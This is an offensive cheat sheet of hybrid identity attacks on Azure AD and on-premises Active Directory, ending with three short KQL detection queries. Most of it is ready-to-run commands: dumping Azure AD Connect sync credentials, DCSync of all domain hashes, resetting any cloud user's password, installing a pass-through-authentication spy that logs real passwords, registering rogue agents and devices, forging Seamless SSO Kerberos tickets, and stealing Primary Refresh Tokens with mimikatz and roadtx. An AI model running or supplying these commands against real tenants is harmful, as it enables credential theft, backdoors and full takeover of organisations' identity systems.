Hybrid Identity Attacks

# Must run on the Azure AD Connect server as local admin
Import-Module AADInternals

# Extract sync credentials (MSOL_ and cloud connector account)
Get-AADIntSyncCredentials

# Use the MSOL account for DCSync
secretsdump.py 'corp.local/MSOL_abc123def456:<password>@dc01.corp.local'

# Use the cloud sync account for tenant access
Connect-AzureAD -Credential (Get-Credential)
# Login as Sync_SERVER_abc123@contoso.onmicrosoft.com

# Azure AD Connect stores credentials in a LocalDB or SQL database
# Default path: C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

# Using adconnectdump (from Fox-IT/dirkjanm)
python3 adconnectdump.py corp.local/admin:Password1@aadconnect-server

# From a remote machine with network access to the AAD Connect server
python3 adconnectdump.py corp.local/admin:Password1@aadconnect-server \
  -outputfile aadconnect_creds.txt

# If DPAPI-protected, use the machine key to decrypt
# dpapi.py can extract the key from the machine certificates

# On-prem: MSOL_ account has DCSync rights
# DCSync all hashes
secretsdump.py 'corp.local/MSOL_abc123def456:<password>@dc01.corp.local' \
  -just-dc

# Cloud: Sync account can reset passwords and set passwords
# Reset any cloud user's password
Import-Module AADInternals
$token = Get-AADIntAccessTokenForAADGraph -Credentials $cred
Set-AADIntUserPassword -AccessToken $token \
  -SourceAnchor "<base64-objectGUID>" \
  -Password "NewPassword123!" -Verbose

# Or set password directly by UPN
Reset-AADIntServicePassword -AccessToken $token \
  -UserPrincipalName "globaladmin@contoso.com"

# Install PTA backdoor (on PTA agent server, as local admin)
Import-Module AADInternals
Install-AADIntPTASpy

# View intercepted credentials (logs real passwords)
Get-AADIntPTASpyLog

# Remove the backdoor
Remove-AADIntPTASpy

# Register a rogue PTA agent from any machine
Register-AADIntPTAAgent -MachineName "YOURPC" -FileName "PTA-cert.pfx"

# Step 1: Extract AZUREADSSOACC password hash (requires DCSync or DA)
secretsdump.py 'corp.local/admin:Password1@dc01.corp.local' \
  -just-dc-user 'AZUREADSSOACC$'

# Step 2: Forge Silver Ticket for any user
# SPN: HTTP/autologon.microsoftazuread-sso.com
ticketer.py -nthash <AZUREADSSOACC-hash> \
  -domain-sid S-1-5-21-domain \
  -domain corp.local \
  -spn HTTP/autologon.microsoftazuread-sso.com \
  -user-id <target-user-objectSid-RID> \
  admin@corp.local

# Step 3: Use the ticket to get Azure access token
# Submit the Kerberos ticket to the SSO endpoint
# AADInternals automates this:
Import-Module AADInternals
$kerberos = New-AADIntKerberosTicket -SidString "S-1-5-21-...-1234" \
  -Hash "<AZUREADSSOACC-hash>"

$at = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos \
  -Domain corp.local
# $at is now a valid Azure access token for that user

# Check PRT status on a device
dsregcmd /status
# Look for: AzureAdPrt: YES

# Method 1: ROADtools — extract PRT via browser cookie (requires user session)
# Uses the BrowserCore.exe helper to get PRT cookie
roadtx prt --username user@contoso.com

# Method 2: Mimikatz — extract PRT from CloudAP plugin
sekurlsa::cloudap
# Extracts ProofOfPossessionCookie (PRT)
# Requires SYSTEM + user session

# Method 3: RequestSecurityToken via ROADtoken
# Registers a new device and gets a PRT
roadtx auth -u user@contoso.com -p Password1
roadtx device -a register -n "Rogue Device"
roadtx prt -a request

# Use stolen PRT to get access tokens
roadtx prt -a access -r https://graph.microsoft.com

# Pass PRT cookie in browser (x-ms-RefreshTokenCredential header)
# Use with browser extensions or mitmproxy to inject the PRT cookie

# Extract cloud-synced hashes (requires Sync account credentials)
Import-Module AADInternals
$token = Get-AADIntAccessTokenForAADGraph -Credentials $cred

Get-AADIntSyncObjects -AccessToken $token -Type User | 
  Select-Object UserPrincipalName, SourceAnchor, CloudAnchor

# Extract the synchronization encryption key
Get-AADIntSyncEncryptionKey

// KQL — Detect new PTA agent registrations
AuditLogs
| where OperationName == "Register connector"
| where ActivityDisplayName has "PassThroughAuthentication"
| project TimeGenerated, InitiatedBy, TargetResources, ResultDescription

// KQL — Detect Sync account suspicious activity
SigninLogs
| where UserPrincipalName startswith "Sync_"
| where AppDisplayName != "Azure Active Directory Connect"
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress

// KQL — Detect AZUREADSSOACC Kerberos ticket forgery
// Monitor for SSO logins from unexpected IP ranges
SigninLogs
| where AuthenticationDetails has "seamlessSSO"
| where IPAddress !in (expected_corporate_ranges)
| project TimeGenerated, UserPrincipalName, IPAddress, DeviceDetail